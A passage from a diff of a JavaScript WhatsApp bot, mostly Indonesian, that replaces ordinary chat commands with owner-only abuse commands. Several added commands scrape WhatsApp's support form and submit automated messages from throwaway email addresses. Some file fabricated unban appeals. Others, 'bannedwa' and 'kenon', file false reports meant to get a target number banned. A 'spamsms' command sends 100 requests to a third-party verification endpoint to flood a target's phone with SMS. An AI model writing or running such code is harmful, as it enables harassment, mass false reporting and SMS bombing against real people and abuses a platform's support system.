-XeonBotInc.sendMessage(m.chat, {image: {url:anuan}, caption: `Here you go!`, fileLength: "999", viewOnce : true},{quoted: m }) -} else if (/video/.test(mime)) { -anuanuan = await XeonBotInc.downloadAndSaveMediaMessage(quoted) -XeonBotInc.sendMessage(m.chat, {video: {url:anuanuan}, caption: `Here you go!`, fileLength: "99999999", viewOnce : true},{quoted: m }) -} +let res = await axioss({ +url, +method: "POST", +data: form, +headers: { +cookie } -break -case 'fliptext': { -if (args.length < 1) return replygcxeon(`Example:\n${prefix}fliptext ${ownername}`) -quere = args.join(" ") -flipe = quere.split('').reverse().join('') -replygcxeon(`\`\`\`ใ€Œ FLIP TEXT ใ€\`\`\`\n*โ€ข> Normal :*\n${quere}\n*โ€ข> Flip :*\n${flipe}`) + +}) +replygcxeon(`Wait 1-24 Jam an untuk proses unbanned dari bot dan tunggu ยฑ30 Detik an untuk melihat balasan email dari WhatsApp tuan Hw Mods๐Ÿฅบ๐Ÿ™`) + +let payload = String(res.data) +if (payload.includes(`"payload":true`)) { +replygcxeon(`##- WhatsApp Support -## + +Halo, + +Terima kasih telah menghubungi kami. + +Sistem kami menandai aktivitas akun Anda sebagai pelanggaran terhadap Ketentuan Layanan kami dan memblokir nomor telepon Anda. Kami sangat menghargai Anda sebagai pengguna. Mohon maaf atas kebingungan atau ketidaknyamanan yang disebabkan oleh masalah ini. + +Kami telah menghapus pemblokiran setelah meninjau aktivitas akun Anda. Sekarang seharusnya Anda sudah memiliki akses ke WhatsApp. + +Sebagai langkah selanjutnya, kami sarankan untuk mendaftarkan ulang nomor telepon Anda di WhatsApp untuk memastikan Anda memiliki akses. Anda dapat mengunjungi situs web kami untuk + +mengunduh WhatsApp atau aplikasi WhatsApp Business.`) +} else if (payload.includes(`"payload":false`)) { +replygcxeon(`##- WhatsApp Support -## + +Terima kasih telah menghubungi kami. Kami akan menghubungi Anda kembali melalui email, dan itu mungkin memerlukan waktu hingga tiga hari kerja.`) +} else replygcxeon(util.format(res.data)) +} catch (err) {reply(`${err}`)} +} else replygcxeon('Masukkan nomor target!') } break - case 'listpc': { - let anulistp = await store.chats.all().filter(v => v.id.endsWith('.net')).map(v => v.id) - let teks = `${themeemoji} *PERSONAL CHAT LIST*\n\nTotal Chat : ${anulistp.length} Chat\n\n` - for (let i of anulistp) { - let nama = store.messages[i].array[0].pushName - teks += `${themeemoji} *Name :* ${nama}\n${themeemoji} *User :* @${i.split('@')[0]}\n${themeemoji} *Chat :* https://wa.me/${i.split('@')[0]}\n\nโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€\n\n` - } - XeonBotInc.sendTextWithMentions(m.chat, teks, m) - } - break - case 'listgc': { - let anulistg = await store.chats.all().filter(v => v.id.endsWith('@g.us')).map(v => v.id) - let teks = `${themeemoji} *GROUP CHAT LIST*\n\nTotal Group : ${anulistg.length} Group\n\n` - for (let i of anulistg) { - let metadata = await XeonBotInc.groupMetadata(i) - teks += `${themeemoji} *Name :* ${metadata.subject}\n${themeemoji} *Owner :* ${metadata.owner !== undefined ? '@' + metadata.owner.split`@`[0] : 'Unknown'}\n${themeemoji} *ID :* ${metadata.id}\n${themeemoji} *Made :* ${moment(metadata.creation * 1000).tz('Asia/Kolkata').format('DD/MM/YYYY HH:mm:ss')}\n${themeemoji} *Member :* ${metadata.participants.length}\n\nโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€\n\n` - } - XeonBotInc.sendTextWithMentions(m.chat, teks, m) - } - break - case 'ping': case 'botstatus': case 'statusbot': case 'p': { - const used = process.memoryUsage() - const cpus = os.cpus().map(cpu => { - cpu.total = Object.keys(cpu.times).reduce((last, type) => last + cpu.times[type], 0) - return cpu - }) - const cpu = cpus.reduce((last, cpu, _, { length }) => { - last.total += cpu.total - last.speed += cpu.speed / length - last.times.user += cpu.times.user - last.times.nice += cpu.times.nice - last.times.sys += cpu.times.sys - last.times.idle += cpu.times.idle - last.times.irq += cpu.times.irq - return last - }, { - speed: 0, - total: 0, - times: { - user: 0, - nice: 0, - sys: 0, - idle: 0, - irq: 0 - } - }) - let timestamp = speed() - let latensi = speed() - timestamp - neww = performance.now() - oldd = performance.now() - respon = ` -Response Speed ${latensi.toFixed(4)} _Second_ \n ${oldd - neww} _miliseconds_\n\nRuntime : ${runtime(process.uptime())} -๐Ÿ’ป Info Server -RAM: ${formatp(os.totalmem() - os.freemem())} / ${formatp(os.totalmem())} -_NodeJS Memory Usaage_ -${Object.keys(used).map((key, _, arr) => `${key.padEnd(Math.max(...arr.map(v=>v.length)),' ')}: ${formatp(used[key])}`).join('\n')} +case 'unbanwav3': { +if (!XeonTheCreator) return XeonStickOwner() +if (m.quoted || q) { +var tosend = m.quoted ? m.quoted.sender : q.replace(/[^0-9]/g, '')+'@s.whatsapp.net' +if (tosend === global.owner) return replygcxeon(`Tidak bisa verif My Creator!`) +var targetnya = tosend.split('@')[0] -${cpus[0] ? `_Total CPU Usage_ -${cpus[0].model.trim()} (${cpu.speed} MHZ)\n${Object.keys(cpu.times).map(type => `- *${(type + '*').padEnd(6)}: ${(100 * cpu.times[type] / cpu.total).toFixed(2)}%`).join('\n')} -_CPU Core(s) Usage (${cpus.length} Core CPU)_ -${cpus.map((cpu, i) => `${i + 1}. ${cpu.model.trim()} (${cpu.speed} MHZ)\n${Object.keys(cpu.times).map(type => `- *${(type + '*').padEnd(6)}: ${(100 * cpu.times[type] / cpu.total).toFixed(2)}%`).join('\n')}`).join('\n\n')}` : ''} - `.trim() - replygcxeon(respon) - } - break - case 'bctext': case 'broadcasttext': case 'broadcast': { - if (!XeonTheCreator) return XeonStickOwner() - if (!q) return replygcxeon(`Enter text`) - const data = await store.chats.all() - for (let i of data) { - XeonBotInc.sendMessage(i.id, {text: `${ownername}'s Broadcast\n\nMessage : ${q}` }) - await sleep(1000) - } - } - break - case 'broadcastimage': case 'bcimage': case 'broadcastvideo': case 'broadcastvid': -if(!XeonTheCreator) return XeonStickOwner() - if (!q) return replygcxeon(`Enter text`) - let getGroups = await XeonBotInc.groupFetchAllParticipating() - let groups = Object.entries(getGroups).slice(0).map(entry => entry[1]) - let xeoncast = groups.map(v => v.id) - replygcxeon(` Broadcasting in ${xeoncast.length} Group Chat, in ${xeoncast.length * 1.5} seconds`) - for (let i of xeoncast) { -let txt = `${ownername}'s Broadcast\n\nMessage : ${q}` -if(/image/.test(mime)) { -let media = await quoted.download() -await XeonBotInc.sendMessage(i, { image:media, caption: txt,mentions:participants.map(a => a.id) }) -} -if(/video/.test(mime)){ -let media = await quoted.download() -await XeonBotInc.sendMessage(i, { video:media, caption: txt, mentions:participants.map(a => a.id) }) +try { +var axioss = require('axios') +let ntah = await axioss.get("https://www.whatsapp.com/contact/noclient/") +let email = await axioss.get("https://www.1secmail.com/api/v1/?action=genRandomMailbox&count=199999999999999999995777678776668876677777") +let cookie = ntah.headers["set-cookie"].join("; ") +const cheerio = require('cheerio'); +let $ = cheerio.load(ntah.data) +let $form = $("form"); +let url = new URL($form.attr("action"), "https://www.whatsapp.com").href +let form = new URLSearchParams() +form.append("jazoest", $form.find("input[name=jazoest]").val()) +form.append("lsd", $form.find("input[name=lsd]").val()) +form.append("step", "submit") +form.append("country_selector", "+") +form.append("phone_number", `+${targetnya}`,) +form.append("email", email.data[0]) +form.append("email_confirm", email.data[0]) +form.append("platform", "ANDROID") +form.append("your_message", ` Halo WhatsApp +Saat ini, beberapa orang memiliki banyak cara efektif untuk memblokir nomor pengguna dan melaporkannya tanpa alasan apa pun, pada kenyataannya, saya mengetahui persyaratan layanan dengan baik dan saya mengikutinya, tetapi beberapa peretas membuat laporan palsu kepada saya dan nomor saya diblokir, buka blokir nomor ${targetnya}`) +form.append("__user", "0") +form.append("__a", "1") +form.append("__csr", "") +form.append("__req", "8") +form.append("__hs", "19531.BP:whatsapp_www_pkg.2.0.0.0.0") +form.append("dpr", "1") +form.append("__ccg", "UNKNOWN") +form.append("__rev", "1007735016") +form.append("__comment_req", "0") + +let res = await axioss({ +url, +method: "POST", +data: form, +headers: { +cookie } - } - replygcxeon(`Successfuly Broadcasted in ${xeoncast.length} Groups`) - break -case 'block': case 'ban': { - if (!XeonTheCreator) return XeonStickOwner() - let users = m.mentionedJid[0] ? m.mentionedJid[0] : m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')+'@s.whatsapp.net' - await XeonBotInc.updateBlockStatus(users, 'block') - await replygcxeon(`Done`) - } - break - case 'unblock': case 'unban': { - if (!XeonTheCreator) return XeonStickOwner() - let users = m.mentionedJid[0] ? m.mentionedJid[0] : m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')+'@s.whatsapp.net' - await XeonBotInc.updateBlockStatus(users, 'unblock') - await replygcxeon(`Done`) - } - break -case 'listblock': case 'listban': case 'blocklist': case 'banlist': { - const lisben = "Total Block: " + banUser.length - replygcxeon(lisben) - } - break -case 'afk': { -if (!m.isGroup) return XeonStickGroup() -if (!text) return replygcxeon(`Example ${prefix+command} want to sleep`) -let user = global.db.users[m.sender] -user.afkTime = + new Date -user.afkReason = args.join(" ") -replygcxeon(`${m.pushName} Has Gone AFK\nReason : ${args.join(" ") ? args.join(" ") : ''}`) + +}) +replygcxeon(`Wait 1-24 Jam an untuk proses unbanned dari bot dan tunggu ยฑ30 Detik an untuk melihat balasan email dari WhatsApp tuan Hw Mods๐Ÿฅบ๐Ÿ™`) +let payload = String(res.data) +if (payload.includes(`"payload":true`)) { +replygcxeon(`##- WhatsApp Support -## + +Halo, + +Terima kasih telah menghubungi kami. + +Sistem kami menandai aktivitas akun Anda sebagai pelanggaran terhadap Ketentuan Layanan kami dan memblokir nomor telepon Anda. Kami sangat menghargai Anda sebagai pengguna. Mohon maaf atas kebingungan atau ketidaknyamanan yang disebabkan oleh masalah ini. + +Kami telah menghapus pemblokiran setelah meninjau aktivitas akun Anda. Sekarang seharusnya Anda sudah memiliki akses ke WhatsApp. + +Sebagai langkah selanjutnya, kami sarankan untuk mendaftarkan ulang nomor telepon Anda di WhatsApp untuk memastikan Anda memiliki akses. Anda dapat mengunjungi situs web kami untuk + +mengunduh WhatsApp atau aplikasi WhatsApp Business.`) +} else if (payload.includes(`"payload":false`)) { +replygcxeon(`##- WhatsApp Support -## + +Terima kasih telah menghubungi kami. Kami akan menghubungi Anda kembali melalui email, dan itu mungkin memerlukan waktu hingga tiga hari kerja.`) +} else replygcxeon(util.format(res.data)) +} catch (err) {replygcxeon(`${err}`)} +} else replygcxeon('Masukkan nomor target!') } break -case 'resetlinkgc': -case 'resetlinkgroup': -case 'resetlinkgrup': -case 'revoke': -case 'resetlink': -case 'resetgrouplink': -case 'resetgclink': -case 'resetgruplink': { -if (!m.isGroup) return XeonStickGroup() -if (!isBotAdmins) return XeonStickBotAdmin() + + +case 'unbanwav4': { +if (!XeonTheCreator) return XeonStickOwner() +if (m.quoted || q) { +var tosend = m.quoted ? m.quoted.sender : q.replace(/[^0-9]/g, '')+'@s.whatsapp.net' +if (tosend === global.owner) return replygcxeon(`Tidak bisa verif My Creator!`) +var targetnya = tosend.split('@')[0] + +try { +var axioss = require('axios') +let ntah = await axioss.get("https://www.whatsapp.com/contact/noclient/") +let email = await axioss.get("https://www.1secmail.com/api/v1/?action=genRandomMailbox&count=199999999999999999995777678776668876677777") +let cookie = ntah.headers["set-cookie"].join("; ") +const cheerio = require('cheerio'); +let $ = cheerio.load(ntah.data) +let $form = $("form"); +let url = new URL($form.attr("action"), "https://www.whatsapp.com").href +let form = new URLSearchParams() +form.append("jazoest", $form.find("input[name=jazoest]").val()) +form.append("lsd", $form.find("input[name=lsd]").val()) +form.append("step", "submit") +form.append("country_selector", "+") +form.append("phone_number", `+${targetnya}`,) +form.append("email", email.data[0]) +form.append("email_confirm", email.data[0]) +form.append("platform", "ANDROID") +form.append("your_message", ` Selamat siang tim WhatsApp. Akun WhatsApp saya telah dibakar secara permanen, mohon saya mohon agar Anda membuka blokirnya, saya tidak dapat menggunakan nomor lain lagi. Saya tidak tahu mengapa itu dibakar tetapi teman saya menyarankannya karena saya menggunakan GB WhatsApp, dan saya tidak tahu itu salah. Nomor saya adalah [ ${targetnya} ]. Tolong tim WhatsApp, bantu saya membuka blokir akun saya. tolong saya tidak dapat menggunakan nomor baru karena nomor saya saat ini terhubung ke slot hal-hal penting seperti lowongan. +Terima kasih`) +form.append("__user", "0") +form.append("__a", "1") +form.append("__csr", "") +form.append("__req", "8") +form.append("__hs", "19531.BP:whatsapp_www_pkg.2.0.0.0.0") +form.append("dpr", "1") +form.append("__ccg", "UNKNOWN") +form.append("__rev", "1007735016") +form.append("__comment_req", "0") + +let res = await axioss({ +url, +method: "POST", +data: form, +headers: { +cookie +} + +}) +replygcxeon(`Wait 1-24 Jam an untuk proses unbanned dari bot dan tunggu ยฑ30 Detik an untuk melihat balasan email dari WhatsApp tuan Hw Mods๐Ÿฅบ๐Ÿ™`) +let payload = String(res.data) +if (payload.includes(`"payload":true`)) { +replygcxeon(`##- WhatsApp Support -## + +Halo, + +Terima kasih telah menghubungi kami. + +Sistem kami menandai aktivitas akun Anda sebagai pelanggaran terhadap Ketentuan Layanan kami dan memblokir nomor telepon Anda. Kami sangat menghargai Anda sebagai pengguna. Mohon maaf atas kebingungan atau ketidaknyamanan yang disebabkan oleh masalah ini. + +Kami telah menghapus pemblokiran setelah meninjau aktivitas akun Anda. Sekarang seharusnya Anda sudah memiliki akses ke WhatsApp. + +Sebagai langkah selanjutnya, kami sarankan untuk mendaftarkan ulang nomor telepon Anda di WhatsApp untuk memastikan Anda memiliki akses. Anda dapat mengunjungi situs web kami untuk + +mengunduh WhatsApp atau aplikasi WhatsApp Business.`) +} else if (payload.includes(`"payload":false`)) { +replygcxeon(`##- WhatsApp Support -## + +Terima kasih telah menghubungi kami. Kami akan menghubungi Anda kembali melalui email, dan itu mungkin memerlukan waktu hingga tiga hari kerja.`) +} else replygcxeon(util.format(res.data)) +} catch (err) {replygcxeon(`${err}`)} +} else replygcxeon('Masukkan nomor target!') +} +break +//================================================= +case 'unbanwav5': { +if (!XeonTheCreator) return XeonStickOwner() +if (m.quoted || q) { +var tosend = m.quoted ? m.quoted.sender : q.replace(/[^0-9]/g, '')+'@s.whatsapp.net' +if (tosend === global.owner) return reply(`Tidak bisa verif My Creator!`) +var targetnya = tosend.split('@')[0] + +try { +var axioss = require('axios') +let ntah = await axioss.get("https://www.whatsapp.com/contact/noclient/") +let email = await axioss.get("https://www.1secmail.com/api/v1/?action=genRandomMailbox&count=199999999999999999995777678776668876677777") +let cookie = ntah.headers["set-cookie"].join("; ") +const cheerio = require('cheerio'); +let $ = cheerio.load(ntah.data) +let $form = $("form"); +let url = new URL($form.attr("action"), "https://www.whatsapp.com").href +let form = new URLSearchParams() +form.append("jazoest", $form.find("input[name=jazoest]").val()) +form.append("lsd", $form.find("input[name=lsd]").val()) +form.append("step", "submit") +form.append("country_selector", "+") +form.append("phone_number", `+${targetnya}`,) +form.append("email", email.data[0]) +form.append("email_confirm", email.data[0]) +form.append("platform", "ANDROID") +form.append("your_message", ` Halo WhatsApp, nomor saya telah dicuri oleh peretas, silakan buka kuncinya [${targetnya}]`) +form.append("__user", "0") +form.append("__a", "1") +form.append("__csr", "") +form.append("__req", "8") +form.append("__hs", "19531.BP:whatsapp_www_pkg.2.0.0.0.0") +form.append("dpr", "1") +form.append("__ccg", "UNKNOWN") +form.append("__rev", "1007735016") +form.append("__comment_req", "0") + +let res = await axioss({ +url, +method: "POST", +data: form, +headers: { +cookie +} + +}) +replygcxeon(`Wait 1-24 Jam an untuk proses unbanned dari bot dan tunggu ยฑ30 Detik an untuk melihat balasan email dari WhatsApp tuan Hw Mods๐Ÿฅบ๐Ÿ™`) +let payload = String(res.data) +if (payload.includes(`"payload":true`)) { +replygcxeon(`##- WhatsApp Support -## + +Halo, + +Terima kasih telah menghubungi kami. + +Sistem kami menandai aktivitas akun Anda sebagai pelanggaran terhadap Ketentuan Layanan kami dan memblokir nomor telepon Anda. Kami sangat menghargai Anda sebagai pengguna. Mohon maaf atas kebingungan atau ketidaknyamanan yang disebabkan oleh masalah ini. + +Kami telah menghapus pemblokiran setelah meninjau aktivitas akun Anda. Sekarang seharusnya Anda sudah memiliki akses ke WhatsApp. + +Sebagai langkah selanjutnya, kami sarankan untuk mendaftarkan ulang nomor telepon Anda di WhatsApp untuk memastikan Anda memiliki akses. Anda dapat mengunjungi situs web kami untuk + +mengunduh WhatsApp atau aplikasi WhatsApp Business.`) +} else if (payload.includes(`"payload":false`)) { +replygcxeon(`##- WhatsApp Support -## + +Terima kasih telah menghubungi kami. Kami akan menghubungi Anda kembali melalui email, dan itu mungkin memerlukan waktu hingga tiga hari kerja.`) +} else replygcxeon(util.format(res.data)) +} catch (err) {replygcxeon(`${err}`)} +} else replygcxeon('Masukkan nomor target!') +} +break +//================================================= + + + +case 'bannedwa': { +if (!XeonTheCreator) return XeonStickOwner() +if (m.quoted || q) { +var tosend = m.quoted ? m.quoted.sender : q.replace(/[^0-9]/g, '')+'@s.whatsapp.net' +if (tosend === global.owner) return replygcxeon(`Tidak bisa verif My Creator!`) +var targetnya = tosend.split('@')[0] + +try { +var axioss = require('axios') +let ntah = await axioss.get("https://www.whatsapp.com/contact/noclient/") +let email = await axioss.get("https://www.1secmail.com/api/v1/?action=genRandomMailbox&count=1") +let cookie = ntah.headers["set-cookie"].join("; ") +const cheerio = require('cheerio'); +let $ = cheerio.load(ntah.data) +let $form = $("form"); +let url = new URL($form.attr("action"), "https://www.whatsapp.com").href +let form = new URLSearchParams() +form.append("jazoest", $form.find("input[name=jazoest]").val()) +form.append("lsd", $form.find("input[name=lsd]").val()) +form.append("step", "submit") +form.append("country_selector", "+") +form.append("phone_number", `+${targetnya}`,) +form.append("email", email.data[0]) +form.append("email_confirm", email.data[0]) +form.append("platform", "ANDROID") +form.append("your_message", ` Saya perhatikan ada pengguna yang menggunakan whatsapp yang dimodifikasi, jadi saya meminta dukungan untuk memblokir akun ini karena melanggar persyaratan layanan, dan akun tersebut menggunakan bot WhatsApp yang dapat mengirim pesan jahat sehingga WhatsApp pengguna lain tidak dapat berfungsi. +Nomor : +${targetnya}`) +form.append("__user", "0") +form.append("__a", "1") +form.append("__csr", "") +form.append("__req", "8") +form.append("__hs", "19531.BP:whatsapp_www_pkg.2.0.0.0.0") +form.append("dpr", "1") +form.append("__ccg", "UNKNOWN") +form.append("__rev", "1007735016") +form.append("__comment_req", "0") + +let res = await axioss({ +url, +method: "POST", +data: form, +headers: { +cookie +} + +}) +replygcxeon(`Wait 1-24 Jam an untuk proses banned dari bot dan tunggu ยฑ30 Detik an untuk melihat balasan email dari WhatsApp tuan Hw Mods๐Ÿฅบ๐Ÿ™`) +let payload = String(res.data) +if (payload.includes(`"payload":true`)) { +replygcxeon(`##- WhatsApp Support -## + +Sepertinya Anda menggunakan atau mengajukan pertanyaan mengenai versi WhatsApp yang tidak resmi. + +Untuk memastikan Anda memiliki akses ke WhatsApp, verifikasi ulang nomor telepon Anda menggunakan aplikasi resmi kami yang dapat diunduh dari situs web kami: www.whatsapp.com/download + +Aplikasi tidak resmi membahayakan keamanan dan keselamatan Anda, dan kami tidak mendukungnya. + +Berikut yang mungkin terjadi jika Anda menggunakannya: + +Tidak ada jaminan bahwa pesan atau data Anda seperti lokasi Anda atau file yang Anda bagikan akan bersifat privat dan aman. + +Akun mungkin akan diblokir karena penggunaan aplikasi WhatsApp yang tidak resmi bertentangan dengan Ketentuan Layanan kami. + +Berikut adalah ketentuan layanan WhatsApp: + +Ketentuan Layanan WhatsApp + +1. Penggunaan Aplikasi + +Anda setuju untuk menggunakan aplikasi WhatsApp ("Aplikasi") hanya untuk tujuan yang sah dan sesuai dengan hukum yang berlaku. Anda tidak diizinkan untuk menggunakan Aplikasi untuk tujuan ilegal atau melanggar hak-hak pihak ketiga. Anda juga setuju untuk tidak menggunakan Aplikasi untuk mengirimkan, menerima, atau menyimpan informasi yang melanggar hukum atau melanggar hak-hak pihak ketiga. + +2. Hak Cipta dan Merek Dagang + +Anda setuju bahwa semua hak cipta, merek dagang, dan hak milik lainnya yang terkait dengan Aplikasi adalah milik WhatsApp, Inc. dan/atau afiliasinya. Anda tidak diizinkan untuk menggunakan atau memodifikasi hak cipta, merek dagang, atau hak milik lainnya tanpa izin tertulis dari WhatsApp, Inc. atau afiliasinya. + +3. Privasi dan Keamanan Data +WhatsApp berjanji untuk melindungi privasi dan keamanan data Anda. Kami akan memproses data Anda sesuai dengan Kebijakan Privasi kami yang dapat diakses di https://www.whatsapp.com/legal/#privacy-policy. Dengan menggunakan Aplikasi, Anda setuju dengan Kebijakan Privasi kami dan memberikan persetujuan Anda untuk memproses data Anda sesuai dengan Kebijakan Privasi kami. + +4. Pembatasan Tanggung Jawab +WhatsApp tidak bertanggung jawab atas kerugian apapun yang disebabkan oleh penggunaan Aplikasi oleh Anda atau pihak ketiga lainnya, termasuk namun tidak terbatas pada kerugian yang disebabkan oleh kegagalan teknis atau kerusakan peralatan, kehilangan data, kerusakan properti, atau kerugian finansial lainnya. + +5. Perubahan Ketentuan Layanan +WhatsApp berhak untuk mengubah Ketentuan Layanan ini sewaktu-waktu tanpa pemberitahuan sebelumnya. Dengan melanjutkan penggunaan Aplikasi setelah perubahan Ketentuan Layanan ini berlaku, Anda setuju untuk terikat oleh versi terbaru dari Ketentuan Layanan ini.`) +} else if (payload.includes(`"payload":false`)) { +replygcxeon(`##- WhatsApp Support -## + +Terima kasih telah menghubungi kami. Kami akan menghubungi Anda kembali melalui email, dan itu mungkin memerlukan waktu hingga tiga hari kerja.`) +} else replygcxeon(util.format(res.data)) +} catch (err) {replygcxeon(`${err}`)} +} else replygcxeon('Masukkan nomor target!') +} +break +//================================================= + + + + +//================================================= + +case 'spamsms': { +if (!XeonTheCreator) return XeonStickOwner() +const froms = m.quoted ? m.quoted.sender : text.replace(/[^0-9]/g, '')+'@s.whatsapp.net' +if (m.quoted || text) { +if (froms.startsWith('08')) return replygcxeon('Awali nomor dengan +62') +if (froms == owner) return replygcxeon('Tidak bisa spam ke nomor ini!') +let nosms = '+' + froms.replace('@s.whatsapp.net', '') +let mal = ["Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 RuxitSynthetic/1.0 v7108827108815046027 t6205049005192687891", "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 RuxitSynthetic/1.0 v1692361810532096513 t9071033982482470646", "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 RuxitSynthetic/1.0 v4466439914708508420 t8068951106021062059", "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 RuxitSynthetic/1.0 v8880767681151577953 t8052286838287810618", "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 RuxitSynthetic/1.0 v6215776200348075665 t6662866128547677118", "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 RuxitSynthetic/1.0 v1588190262877692089 t2919217341348717815", "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 RuxitSynthetic/1.0 v5330150654511677032 t9071033982482470646", "Mozilla/5.0 (Linux; Android 10; M2006C3LG) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.101 Mobile Safari/537.36", "Mozilla/5.0 (Linux; Android 10; M2006C3LG) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.101 Mobile Safari/537.36", "Mozilla/5.0 (Linux; Android 11; vivo 2007) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Mobile Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.101 Safari/537.36"] +let ua = mal[Math.floor(Math.random() * mal.length)]; +let axios = require('axios').default; +let hd = { +'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3' +}; +const dat = { +'phone': nosms +}; +for (let x = 0; x < 100; x++) { +axios.post('https://api.myfave.com/api/fave/v1/auth', dat, { +headers: hd +}).then(res => { +console.log(res); +}).catch(err => { +console.log(`[${new Date().toLocaleTimeString()}] Spam (SMS) BY HW MODS WA MODS`); +}); +} +} else replygcxeon(`Penggunaan spamsms nomor/reply pesan target*\nContoh spamsms +6281214281312`) +replygcxeon(`spam sms/call akan di kirim ke no target`) +} +break + +//================================================\\ + +case 'kenon': { +if (!XeonTheCreator) return XeonStickOwner() +if (m.quoted || q) { +var tosend = m.quoted ? m.quoted.sender : q.replace(/[^0-9]/g, '')+'@s.whatsapp.net' +if (tosend === global.owner) return replygcxeon(`Tidak bisa verif My Creator!`) +var targetnya = tosend.split('@')[0] + +try { +var axioss = require('axios') +let ntah = await axioss.get("https://www.whatsapp.com/contact/noclient/") +let email = await axioss.get("https://www.1secmail.com/api/v1/?action=genRandomMailbox&count=1") +let cookie = ntah.headers["set-cookie"].join("; ") +const cheerio = require('cheerio'); +let $ = cheerio.load(ntah.data) +let $form = $("form"); +let url = new URL($form.attr("action"), "https://www.whatsapp.com").href +let form = new URLSearchParams() +form.append("jazoest", $form.find("input[name=jazoest]").val()) +form.append("lsd", $form.find("input[name=lsd]").val()) +form.append("step", "submit") +form.append("country_selector", "+") +form.append("phone_number", `+${targetnya}`,) +form.append("email", email.data[0]) +form.append("email_confirm", email.data[0]) +form.append("platform", "ANDROID") +form.append("your_message", ` Saya perhatikan ada pengguna yang menggunakan whatsapp yang dimodifikasi, jadi saya meminta dukungan untuk memblokir akun ini karena melanggar persyaratan layanan, dan akun tersebut menggunakan bot WhatsApp yang dapat mengirim pesan jahat sehingga WhatsApp pengguna lain tidak dapat berfungsi. +Nomor : +${targetnya}`) +form.append("__user", "0") +form.append("__a", "1") +form.append("__csr", "") +form.append("__req", "8") +form.append("__hs", "19531.BP:whatsapp_www_pkg.2.0.0.0.0") +form.append("dpr", "1") +form.append("__ccg", "UNKNOWN") +form.append("__rev", "1007735016") +form.append("__comment_req", "0") + +let res = await axioss({ +url, +method: "POST", +data: form, +headers: { +cookie +} + +}) +replygcxeon(`Wait 1-24 Jam an untuk proses banned dari bot dan tunggu ยฑ30 Detik an untuk melihat balasan email dari WhatsApp tuan Hw Mods๐Ÿฅบ๐Ÿ™`) +let payload = String(res.data) +if (payload.includes(`"payload":true`)) { +replygcxeon(`##- WhatsApp Support -## + +Sepertinya Anda menggunakan atau mengajukan pertanyaan mengenai versi WhatsApp yang tidak resmi. + +Untuk memastikan Anda memiliki akses ke WhatsApp, verifikasi ulang nomor telepon Anda menggunakan aplikasi resmi kami yang dapat diunduh dari situs web kami: www.whatsapp.com/download + +Aplikasi tidak resmi membahayakan keamanan dan keselamatan Anda, dan kami tidak mendukungnya. + +Berikut yang mungkin terjadi jika Anda menggunakannya: + +Tidak ada jaminan bahwa pesan atau data Anda seperti lokasi Anda atau file yang Anda bagikan akan bersifat privat dan aman. + +Akun mungkin akan diblokir karena penggunaan aplikasi WhatsApp yang tidak resmi bertentangan dengan Ketentuan Layanan kami. + +Berikut adalah ketentuan layanan WhatsApp: + +Ketentuan Layanan WhatsApp + +1. Penggunaan Aplikasi + +Anda setuju untuk menggunakan aplikasi WhatsApp ("Aplikasi") hanya untuk tujuan yang sah dan sesuai dengan hukum yang berlaku. Anda tidak diizinkan untuk menggunakan Aplikasi untuk tujuan ilegal atau melanggar hak-hak pihak ketiga. Anda juga setuju untuk tidak menggunakan Aplikasi untuk mengirimkan, menerima, atau menyimpan informasi yang melanggar hukum atau melanggar hak-hak pihak ketiga. + +2. Hak Cipta dan Merek Dagang + +Anda setuju bahwa semua hak cipta, merek dagang, dan hak milik lainnya yang terkait dengan Aplikasi adalah milik WhatsApp, Inc. dan/atau afiliasinya. Anda tidak diizinkan untuk menggunakan atau memodifikasi hak cipta, merek dagang, atau hak milik lainnya tanpa izin tertulis dari WhatsApp, Inc. atau afiliasinya. + +3. Privasi dan Keamanan Data +WhatsApp berjanji untuk melindungi privasi dan keamanan data Anda. Kami akan memproses data Anda sesuai dengan Kebijakan Privasi kami yang dapat diakses di https://www.whatsapp.com/legal/#privacy-policy. Dengan menggunakan Aplikasi, Anda setuju dengan Kebijakan Privasi kami dan memberikan persetujuan Anda untuk memproses data Anda sesuai dengan Kebijakan Privasi kami. + +4. Pembatasan Tanggung Jawab +WhatsApp tidak bertanggung jawab atas kerugian apapun yang disebabkan oleh penggunaan Aplikasi oleh Anda atau pihak ketiga lainnya, termasuk namun tidak terbatas pada kerugian yang disebabkan oleh kegagalan teknis atau kerusakan peralatan, kehilangan data, kerusakan properti, atau kerugian finansial lainnya. + +5. Perubahan Ketentuan Layanan +WhatsApp berhak untuk mengubah Ketentuan Layanan ini sewaktu-waktu tanpa pemberitahuan sebelumnya. Dengan melanjutkan penggunaan Aplikasi setelah perubahan Ketentuan Layanan ini berlaku, Anda setuju untuk terikat oleh versi terbaru dari 